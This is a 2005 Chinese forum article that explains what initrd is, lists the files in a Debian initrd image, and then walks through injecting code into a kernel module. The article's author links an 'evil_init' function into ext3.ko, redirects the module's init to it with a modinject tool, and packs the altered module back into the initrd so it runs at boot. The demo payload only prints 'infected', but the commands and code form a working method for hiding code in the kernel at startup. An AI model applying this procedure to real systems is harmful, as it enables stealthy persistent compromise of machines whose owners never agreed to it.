initrd和module injection
一篇介绍模块注入的黑客类文章,对于了解initrd合适有好处的
什么是initrd?
initrd = init ramdisk,是一个启动时存在于内存的文件系统。 initrd的最初的目的是为了把kernel的启动分成两个阶段:在kernel中保留最少最基本的启动代码,然后把对各种各样硬件设备的支持以模块的方式放在 initrd中,这样就在启动过程中可以从initrd所mount的根文件系统中 装载需要的模块。这样的一个好处就是在保持kernel不变的情况下, 通过修改initrd中的内容就可以灵活的支持不同的硬件。在启动完成 的最后阶段,根文件系统可以重新mount到其他设备上。Linux启动一定要用initrd么?
不必,如果把需要的功能全都编译到内核中(非模块方式),只需要一个内核文件即可,initrd能够减小启动内核的体积并增加灵活性。如果你的内核以模块方式 支持某种文件系统(例如ext3, UFS),而启动阶段的驱动模块(如jbd)放在这些文件系统上,内核是无法读取文件系统的,从而只能通过initrd的虚拟文件系统来装载 这些模块。 这里有些人会问: 既然内核此时不能读取文件系统,那内核的文件是怎么装入内存 中的呢?答案很简单,Grub是file-system sensitive的,能够识别常见的文件系统。initrd文件是怎么生成的?
使用mkinitrd命令,这个命令其实是一个Bash脚本#file `which mkinitrd`
/sbin/mkinitrd: Bourne-Again shell script text executable
该脚本先建立一个8M的空文件,并在此上建立一个文件系统,并拷贝相应的的文件。
Debian(sid)里面有什么呢
#file /boot/initrd.img-2.6.11-1-386/boot/initrd.img-2.6.11-1-386: Linux Compressed ROM File System data, little endian size 4386816 version #2 sorted_dirs CRC 0xc7ea5b26, edition 0, 2573 blocks, 324 files
#mount /boot/initrd.img-2.6.11-1-386 /mnt/dos -o loop
#cd /mnt/dos && ls -la
drwxr-xr-x 1 root root 172 1970-01-01 08:00 bin
drwxr-xr-x 1 root root 144 1970-01-01 08:00 bin2
drwxr-xr-x 1 root root 140 1970-01-01 08:00 dev
drwxr-xr-x 1 root root 0 1970-01-01 08:00 dev2
drwxr-xr-x 1 root root 0 1970-01-01 08:00 devfs
drwxr-xr-x 1 root root 40 1970-01-01 08:00 etc
drwxr-xr-x 1 root root 0 1970-01-01 08:00 keyscripts
drwxr-xr-x 1 root root 196 1970-01-01 08:00 lib
-rwxr-xr-x 1 root root 279 1970-01-01 08:00 linuxrc <== 一个dash脚本
-rw-r--r-- 1 root root 94 1970-01-01 08:00 linuxrc.conf
-rw-r--r-- 1 root root 1104 1970-01-01 08:00 loadmodules
drwxr-xr-x 1 root root 0 1970-01-01 08:00 mnt
drwxr-xr-x 1 root root 0 1970-01-01 08:00 proc
drwxr-xr-x 1 root root 100 1970-01-01 08:00 sbin
-rw-r--r-- 1 root root 243 1970-01-01 08:00 script
drwxr-xr-x 1 root root 32 1970-01-01 08:00 scripts
drwxr-xr-x 1 root root 0 1970-01-01 08:00 sys
drwxr-xr-x 1 root root 0 1970-01-01 08:00 tmp
drwxr-xr-x 1 root root 32 1970-01-01 08:00 usr
drwxr-xr-x 1 root root 0 1970-01-01 08:00 var
bin
-rwxr-xr-x 1 root root 16504 1970-01-01 08:00 cat
-rwxr-xr-x 1 root root 84008 1970-01-01 08:00 dash <==一个小型解释器
-rwxr-xr-x 1 root root 7012 1970-01-01 08:00 e2initrd_helper
-rwxr-xr-x 1 root root 75 1970-01-01 08:00 echo
-rwxr-xr-x 1 root root 19180 1970-01-01 08:00 mknod
lib/modules/2.6.11-1-386/ <== 启动时必要的模块,也是我们的目标
drwxr-xr-x 1 root root 24 1970-01-01 08:00 initrd
drwxr-xr-x 1 root root 68 1970-01-01 08:00 kernel
-rw-r--r-- 1 root root 196941 1970-01-01 08:00 modules.alias
-rw-r--r-- 1 root root 69 1970-01-01 08:00 modules.ccwmap
-rw-r--r-- 1 root root 262887 1970-01-01 08:00 modules.dep
-rw-r--r-- 1 root root 517 1970-01-01 08:00 modules.ieee1394map
-rw-r--r-- 1 root root 1141 1970-01-01 08:00 modules.inputmap
-rw-r--r-- 1 root root 16647 1970-01-01 08:00 modules.isapnpmap
-rw-r--r-- 1 root root 181826 1970-01-01 08:00 modules.pcimap
-rw-r--r-- 1 root root 108585 1970-01-01 08:00 modules.symbols
-rw-r--r-- 1 root root 246349 1970-01-01 08:00 modules.usbmap
linuxrc
你可以将linuxrc看成是/sbin/init,当initrd装载后会运行linuxrc.#!/bin/sh
#
# $Id: linuxrc,v 1.11 2004/04/26 12:04:46 herbert Exp $
export PATH=/sbin:/bin
mount -nt proc proc proc
root=$(cat proc/sys/kernel/real-root-dev)
echo 256 > proc/sys/kernel/real-root-dev
mount -nt tmpfs tmpfs bin ||
mount -nt ramfs ramfs bin
echo $root > bin/root
module injection
# cd tmp && cat test.c----- cut here ------
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
extern int init_module(void);
int evil_init(void)
{
printk("infected.\n");
init_module();
return 0;
}
----- cut here ------
# mymake.pl test
# ld -r /mnt/loop/lib/ext3.ko test.o -o tmp.ko
# modinject tmp.ko evil_init
[+] - Change Reloc init OK !
# mv tmp.ko /mnt/loop/lib/ext3.ko
# cd /mnt
# umount loop
# cd /boot
# gzip -9 initrd-2.6.5-1.356
# mv initrd-2.6.5-1.356.gz initrd-2.6.5-1.356.img
现在重启系统,看看结果吧: 你应该能看到“infected”
作者:coolq 更新日期:2005-08-22
来源:linuxforum.net
浏览次数:
相关文章
相关评论 发表评论
- No Comments